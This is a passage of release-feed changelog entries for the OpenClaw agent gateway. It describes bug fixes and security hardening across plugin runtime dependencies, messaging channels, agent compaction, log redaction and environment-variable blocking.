<li>Plugins/runtime-deps: remove OpenClaw-owned legacy runtime-deps symlinks before replacing staged bundled plugin dependencies, so updates can recover from older symlinked installs instead of failing the symlink safety guard. Thanks @goldmar.</li>
<li>Discord: retry queued REST 429s against learned bucket/global cooldowns and reacquire fresh voice upload URLs after CDN upload rate limits, so outbound sends recover without reusing stale single-use upload URLs. Thanks @discord.</li>
<li>TTS/providers: keep bundled speech-provider compat fallback available when plugins are globally disabled, so cold gateway and CLI startup can still resolve fallback speech providers instead of leaving explicit TTS provider selection with no registered providers. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361272168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75265" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75265/hovercard" href="https://github.com/openclaw/openclaw/pull/75265">#75265</a>. Thanks @sliekens.</li>
<li>Discord: collapse repeated native slash-command deploy rate-limit startup logs into one non-fatal warning while keeping per-request REST timing in verbose output. Thanks @discord.</li>
<li>Discord: report native slash-command deploy aborts as REST timeouts with method, path, timeout budget, and observed duration, so startup logs explain slow Discord API calls instead of showing a generic aborted operation. Thanks @discord.</li>
<li>Security/logging: redact payment credential field names such as card number, CVC/CVV, shared payment token, and payment credential across default log and tool-payload redaction patterns so wallet-style MCP tools do not expose raw payment credentials in UI events or transcripts. Thanks @stainlu.</li>
<li>Providers/OpenAI Codex: preserve existing wrapped Codex streams during OpenAI attribution so PI OAuth bearer injection reaches ChatGPT/Codex Responses, and strip native Codex-only unsupported payload fields without touching custom compatible endpoints. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358840684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75111" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75111/hovercard" href="https://github.com/openclaw/openclaw/pull/75111">#75111</a>) Thanks @keshavbotagent.</li>
<li>Plugins/runtime-deps: materialize newly required bundled plugin packages after local <code>openclaw onboard</code> and <code>openclaw configure</code> config writes, while keeping remote setup read-only, so first Gateway startup no longer discovers missing channel/provider deps after setup claimed success. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361989933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75309/hovercard" href="https://github.com/openclaw/openclaw/issues/75309">#75309</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks @scottgl9 and @xiaohuaxi.</li>
<li>Plugins/runtime-deps: expire stale legacy install locks whose live PID cannot be tied to the current process incarnation, so Docker PID reuse no longer leaves bundled dependency repair stuck behind old <code>.openclaw-runtime-deps.lock</code> directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356320468" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74948/hovercard" href="https://github.com/openclaw/openclaw/issues/74948">#74948</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356328081" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74950" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74950/hovercard" href="https://github.com/openclaw/openclaw/pull/74950">#74950</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350782800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74346" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74346/hovercard" href="https://github.com/openclaw/openclaw/issues/74346">#74346</a>. Thanks @dchekmarev.</li>
<li>Plugins/runtime-deps: recover interrupted bundled runtime-dependency installs whose package sentinels exist but generated materialization is incomplete, forcing npm/pnpm repair in Gateway startup, doctor, and lazy plugin loads instead of leaving channels crash-looping on missing packages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361989933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75309/hovercard" href="https://github.com/openclaw/openclaw/issues/75309">#75309</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361991170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75310" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75310/hovercard" href="https://github.com/openclaw/openclaw/pull/75310">#75310</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361740220" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75296" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75296/hovercard" href="https://github.com/openclaw/openclaw/issues/75296">#75296</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361883653" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75304" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75304/hovercard" href="https://github.com/openclaw/openclaw/issues/75304">#75304</a>. Thanks @scottgl9.</li>
<li>Plugins/runtime-deps: treat no-main and export-map package sentinels without reachable entry files as incomplete, so Gateway startup, doctor, and lazy plugin loads repair interrupted bundled dependency installs instead of accepting package.json-only partial installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361989933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75309/hovercard" href="https://github.com/openclaw/openclaw/issues/75309">#75309</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360048495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75183/hovercard" href="https://github.com/openclaw/openclaw/pull/75183">#75183</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/runtime-deps: keep runtime inspection and channel maintenance commands from downloading bundled plugin dependencies, route explicit repairs through <code>openclaw plugins deps --repair</code>, and still allow Gateway/DO paths to repair missing deps before import. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks @xiaohuaxi.</li>
<li>Updates: force non-deferred, no-cooldown update restarts after package-manager updates requested through the live Gateway control plane and fail release validation on post-swap stale chunk import crashes, so Telegram/Discord imports do not stay pointed at removed dist files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360403986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75206/hovercard" href="https://github.com/openclaw/openclaw/issues/75206">#75206</a>. Thanks @xonaman and @faux123.</li>
<li>Agents/tool-result guard: use the resolved runtime context token budget for non-context-engine tool-result overflow checks, so long tool-heavy sessions no longer compact early when <code>contextTokens</code> is larger than native <code>contextWindow</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355916636" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74917" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74917/hovercard" href="https://github.com/openclaw/openclaw/issues/74917">#74917</a>. Thanks @kAIborg24.</li>
<li>Gateway/systemd: exit with sysexits 78 for supervised lock and <code>EADDRINUSE</code> conflicts so <code>RestartPreventExitStatus=78</code> stops <code>Restart=always</code> restart loops instead of repeatedly reloading plugins against an occupied port. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358976301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75115/hovercard" href="https://github.com/openclaw/openclaw/issues/75115">#75115</a>. Thanks @yhyatt.</li>
<li>Agents/runtime: skip blank visible user prompts at the embedded-runner boundary before provider submission while still allowing internal runtime-only turns and media-only prompts, so Telegram/group sessions no longer leak raw empty-input provider errors when replay history exists. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348363760" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74137" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74137/hovercard" href="https://github.com/openclaw/openclaw/issues/74137">#74137</a>. Thanks @yelog, @Gracker, and @nhaener.</li>
<li>Agents/Codex: isolate local Codex app-server <code>CODEX_HOME</code> and <code>HOME</code> per agent and add a deliberate Codex migration path with selectable skill copies, so personal Codex CLI skills, plugins, config, and hooks no longer leak into OpenClaw agents unless the operator migrates them into the workspace. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Security/Nextcloud Talk: make webhook signature validation use the padded timing-safe compare path even when the supplied signature length is wrong, keep normalized header lookup behavior, and extend regression coverage for tampered bodies, wrong secrets, array-backed headers, and truncated signatures. Carries forward earlier contributor work from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4102742606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50516/hovercard" href="https://github.com/openclaw/openclaw/pull/50516">#50516</a> by teddytennant. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175383760" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58097" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58097/hovercard" href="https://github.com/openclaw/openclaw/pull/58097">#58097</a>) Thanks @gavyngong.</li>
<li>Plugins/runtime-deps: replace stale symlinked mirror target roots before writing runtime-mirror temp files and skip rewriting already materialized hardlinks, so cross-version container upgrades no longer crash-loop on read-only image-layer paths while warm mirrors do less churn. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358776355" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75108" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75108/hovercard" href="https://github.com/openclaw/openclaw/issues/75108">#75108</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coletebou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coletebou">@coletebou</a> and @xiaohuaxi.</li>
<li>Auto-reply/group chats: fall back to automatic source delivery when a channel precomputes message-tool-only replies but the <code>message</code> tool is unavailable, so Discord/Slack-style group turns do not silently complete without a visible reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355462791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74868/hovercard" href="https://github.com/openclaw/openclaw/issues/74868">#74868</a>. Thanks @kagura-agent.</li>
<li>Browser/gateway: share one browser control runtime across the HTTP control server and <code>browser.request</code>, and refresh browser profile config from the source snapshot, so CLI status/start honors configured <code>browser.executablePath</code>, <code>headless</code>, and <code>noSandbox</code> instead of falling back to stale auto-detection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358368287" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75087" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75087/hovercard" href="https://github.com/openclaw/openclaw/issues/75087">#75087</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344146532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73617" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73617/hovercard" href="https://github.com/openclaw/openclaw/issues/73617">#73617</a>. Thanks @civiltox and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Agents/subagents: bound automatic orphan recovery with persisted recovery attempts and a wedged-session tombstone, and teach task maintenance/doctor to reconcile those sessions so restart loops no longer require manual <code>sessions.json</code> surgery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355427349" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74864" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74864/hovercard" href="https://github.com/openclaw/openclaw/issues/74864">#74864</a>. Thanks @solosage1.</li>
<li>Plugins/runtime-deps: keep bundled provider policy config loading from staging plugin runtime dependencies, so config reads no longer fail on locked-down <code>/var/lib/openclaw/plugin-runtime-deps</code> directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356579392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74971" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74971/hovercard" href="https://github.com/openclaw/openclaw/issues/74971">#74971</a>. Thanks @eurojojo.</li>
<li>Memory/runtime-deps: retain the native <code>node-llama-cpp</code> runtime only when local memory search is configured, so packaged installs can repair local embeddings without relying on unreachable global npm installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355063600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74777" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74777/hovercard" href="https://github.com/openclaw/openclaw/issues/74777">#74777</a>. Thanks @LLagoon3.</li>
<li>Gateway/startup: skip pre-bind web-fetch provider discovery for credential-free <code>tools.web.fetch</code> config, so Docker/Kubernetes gateways bind even when optional fetch limits are present. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355733598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74896" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74896/hovercard" href="https://github.com/openclaw/openclaw/issues/74896">#74896</a>. Thanks @KoykL.</li>
<li>Signal: match group allowlists against inbound Signal group ids as well as sender ids, and process explicitly configured Signal groups without requiring mentions unless <code>requireMention</code> is set. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4124822798" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53308" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53308/hovercard" href="https://github.com/openclaw/openclaw/issues/53308">#53308</a>. Thanks @minupla and @juan-flores077.</li>
<li>Signal: bound <code>signal-cli</code> installer release and archive downloads with explicit timeouts, declared and streamed size checks, and partial-file cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131804194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54153" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54153/hovercard" href="https://github.com/openclaw/openclaw/issues/54153">#54153</a>. Thanks @jinduwang1001-max and @juan-flores077.</li>
<li>Slack: require bot-authored room messages with <code>allowBots=true</code> to come from an explicitly channel-allowlisted bot or from a room where an explicit Slack owner is present, so broad bot relays cannot run unattended. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190405125" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59284/hovercard" href="https://github.com/openclaw/openclaw/issues/59284">#59284</a>. Thanks @andrewhong-translucent.</li>
<li>Signal: derive <code>getAttachment</code> HTTP response caps from <code>channels.signal.mediaMaxMb</code> with base64 headroom, so inbound photos and videos no longer drop behind the 1 MiB RPC default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343275028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73564" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73564/hovercard" href="https://github.com/openclaw/openclaw/issues/73564">#73564</a>. Thanks @heyhudson.</li>
<li>Signal: keep the long-lived receive SSE monitor open while idle instead of applying the 10s RPC/check deadline, so <code>signal-cli</code> 0.14.3 event streams no longer reconnect before inbound messages arrive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354790687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74741" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74741/hovercard" href="https://github.com/openclaw/openclaw/issues/74741">#74741</a>. Thanks @fgabelmannjr and @k7n4n5t3w4rt.</li>
<li>CLI/progress: suppress nested progress spinners and line clears while TUI input owns raw stdin, so Crestodian <code>/status</code> no longer disturbs the active input row. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356940813" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75003" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75003/hovercard" href="https://github.com/openclaw/openclaw/pull/75003">#75003</a>) Thanks @velvet-shark.</li>
<li>Models/OpenAI Codex: restore <code>openai-codex/gpt-5.4-mini</code> for ChatGPT/Codex OAuth PI runs after live OAuth proof, and align the manifest, forward-compat metadata, docs, and regression tests so stale cron and heartbeat configs resolve again. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351824827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74451/hovercard" href="https://github.com/openclaw/openclaw/issues/74451">#74451</a>. Thanks @0xCyda, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and @Marvae.</li>
<li>Plugins/runtime-deps: always write a dependency map in generated runtime-deps install manifests, so npm does not crash or prune staged bundled-plugin packages when the plan is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356326245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74949" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74949/hovercard" href="https://github.com/openclaw/openclaw/issues/74949">#74949</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Telegram: use durable message edits for streaming previews instead of native draft state, so generated replies no longer flicker through draft-to-message transitions that look like duplicates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358015486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75073" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75073/hovercard" href="https://github.com/openclaw/openclaw/pull/75073">#75073</a>) Thanks @obviyus.</li>
<li>Telegram: echo preflighted DM voice-note transcripts back to the originating chat, including Telegram DM topic thread metadata, instead of only echoing later media-understanding transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358306338" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75084" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75084/hovercard" href="https://github.com/openclaw/openclaw/issues/75084">#75084</a>. Thanks @M-Lietz.</li>
<li>Telegram: clamp low long-polling client timeouts so configured <code>timeoutSeconds</code> values below the <code>getUpdates</code> poll window no longer force a fresh HTTPS connection every few seconds. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358955789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75114" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75114/hovercard" href="https://github.com/openclaw/openclaw/issues/75114">#75114</a>. Thanks @hpinho77.</li>
<li>Web search: describe <code>web_search</code> as using the configured provider instead of hard-coding Brave when DuckDuckGo or another provider is active. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358379474" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75088/hovercard" href="https://github.com/openclaw/openclaw/issues/75088">#75088</a>. Thanks @sun-rongyang.</li>
<li>Infra/tmp: tolerate concurrent temp-dir permission repairs by rechecking directories that another process already tightened, so parallel ACP subprocess startup no longer throws <code>Unsafe fallback OpenClaw temp dir</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265270151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66867" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66867/hovercard" href="https://github.com/openclaw/openclaw/issues/66867">#66867</a>. Thanks @Kane808-AI and @jarvisz8.</li>
<li>Agents/compaction: add an opt-in <code>agents.defaults.compaction.midTurnPrecheck</code> mid-turn precheck that detects tool-loop context pressure and triggers compaction before the next tool call instead of waiting for end-of-turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342551639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73499" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73499/hovercard" href="https://github.com/openclaw/openclaw/pull/73499">#73499</a>) Thanks @marchpure and @haoxingjun.</li>
<li>Gateway/approvals: let loopback token/password-backed native approval clients resolve exec approvals without attaching stale paired Gateway identities, while remote and unauthenticated approval clients keep normal device identity behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352121168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74472" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74472/hovercard" href="https://github.com/openclaw/openclaw/pull/74472">#74472</a>)</li>
<li>Gateway/config: include rejected validation paths in foreground and service last-known-good recovery logs plus main-agent notices, so unsupported direct edits explain which key caused restore instead of looking like silent reversion. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357904226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75060" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75060/hovercard" href="https://github.com/openclaw/openclaw/issues/75060">#75060</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugins/runtime-deps: hash the OS-canonical <code>packageRoot</code> via <code>fs.realpathSync.native</code> (with <code>path.resolve</code> fallback) when computing the bundled runtime-deps stage key, so loader and channel <code>bundled-root</code> callers no longer derive divergent stage directories under <code>~/.openclaw/plugin-runtime-deps/openclaw-&lt;version&gt;-&lt;hash&gt;/</code> and bundled channels stop failing with <code>ENOENT</code> on shared dist chunks under Windows npm symlinks, junctions, or PM2 multi-instance worker layouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356458695" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74963" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74963/hovercard" href="https://github.com/openclaw/openclaw/issues/74963">#74963</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357655594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75048" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75048/hovercard" href="https://github.com/openclaw/openclaw/pull/75048">#75048</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>fix(logging): add redaction patterns for Tencent Cloud, Alibaba Cloud, HuggingFace and Replicate API keys (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4176207505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58162/hovercard" href="https://github.com/openclaw/openclaw/pull/58162">#58162</a>). Thanks @gavyngong</li>
<li>Pairing: surface unexpected allowlist filesystem stat errors instead of treating the allowlist as missing, so permission and I/O failures are visible during pairing authorization checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226978925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63324/hovercard" href="https://github.com/openclaw/openclaw/pull/63324">#63324</a>) Thanks @franciscomaestre.</li>
<li>macOS app: reserve layout space for exec approval command details so the allow dialog no longer overlaps the command, context, and action buttons. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363145435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75470" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75470/hovercard" href="https://github.com/openclaw/openclaw/pull/75470">#75470</a>) Thanks @ngutman.</li>
<li>Agents/failover: carry <code>sessionId</code>, <code>lane</code>, <code>provider</code>, <code>model</code>, and <code>profileId</code> attribution through <code>FailoverError</code> and <code>describeFailoverError</code>/<code>coerceToFailoverError</code> so structured error logs (e.g. <code>gateway.err.log</code> ingestion) can attribute exhausted-fallback wrapper errors to the originating session and last-attempted provider instead of dropping the metadata after the per-profile errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4055391486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42713" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42713/hovercard" href="https://github.com/openclaw/openclaw/issues/42713">#42713</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342577768" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73506" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73506/hovercard" href="https://github.com/openclaw/openclaw/pull/73506">#73506</a>) Thanks @wenxu007.</li>
<li>Context Engine: treat assembled prompt as the default authority for preemptive overflow prechecks so engines that return a windowed, self-contained context no longer trigger false hard-fail compactions on huge raw history. Engines whose assembled view can hide overflow risk can opt back into the legacy behavior with <code>AssembleResult.promptAuthority: "preassembly_may_overflow"</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349382434" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74255" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74255/hovercard" href="https://github.com/openclaw/openclaw/pull/74255">#74255</a>) Thanks @100yenadmin.</li>
<li>Mattermost: refresh current native slash command registrations before accepting callbacks so stale tokens from deleted or regenerated commands stop being accepted without a gateway restart while failed validations stay briefly cached and lookup starts are rate-limited per command, gate each callback against the resolved command's own startup token so a token leaked for one slash command cannot poison another command's failure cache, redact slash validation lookup errors, and add a body read timeout to the multi-account routing path so slow callback senders cannot tie up the dispatcher. Thanks @feynman-hou and @eleqtrizit.</li>
<li>Security/dotenv: block <code>COMSPEC</code> in workspace <code>.env</code> so a malicious repo cannot redirect Windows <code>cmd.exe</code> resolution, and lock in case-insensitive workspace-<code>.env</code> regression coverage for the full Windows shell trust-root family (<code>COMSPEC</code>, <code>PROGRAMFILES</code>, <code>PROGRAMW6432</code>, <code>SYSTEMROOT</code>, <code>WINDIR</code>). (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351902035" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74460" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74460/hovercard" href="https://github.com/openclaw/openclaw/pull/74460">#74460</a>) Thanks @mmaps.</li>
<li>Gateway/install: drop stale version-manager and package-manager PATH entries preserved from old service files during <code>gateway install --force</code> and doctor repair, so the repair path no longer recreates <code>gateway-path-nonminimal</code> warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360586723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75220" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75220/hovercard" href="https://github.com/openclaw/openclaw/issues/75220">#75220</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363000761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75440" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75440/hovercard" href="https://github.com/openclaw/openclaw/pull/75440">#75440</a>) Thanks @leonaIee, @renaudcerrato, and @aaajiao.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.2-beta.3]]></title>
<description><![CDATA[2026.5.2
Highlights

